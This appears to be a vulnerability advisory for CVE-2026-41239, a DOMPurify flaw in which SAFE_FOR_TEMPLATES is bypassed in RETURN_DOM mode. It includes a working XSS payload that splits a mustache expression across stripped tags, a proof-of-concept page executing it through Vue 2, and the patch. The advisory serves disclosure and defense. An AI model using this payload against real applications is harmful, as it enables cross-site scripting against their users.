dompurify
Affected
- introduced
1.0.10, fixed3.4.0(semver)
Fixed versions
3.4.0
Fix
- Fixed version
3.4.0npm install [email protected]
Advisory
Also known as: CVE-2026-41239
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Summary
| Field | Value |
|:------|:------|
| Severity | Medium |
| Affected | DOMPurify main at `883ac15`, introduced in v1.0.10 (`7fc196db`) |
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}
The RETURN_DOM path returns before pass #2 ever runs (`purify.ts:1637-1661`):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it<foo> is not allowed, so DOMPurify removes it but keeps surrounding text.outerHTML reads them as {{payload}}, which Vue 2 compiles and executesReproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);Medium Basis: The source's own band: MODERATE
1.0.10, fixed 3.4.0 (semver)3.4.0
3.4.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0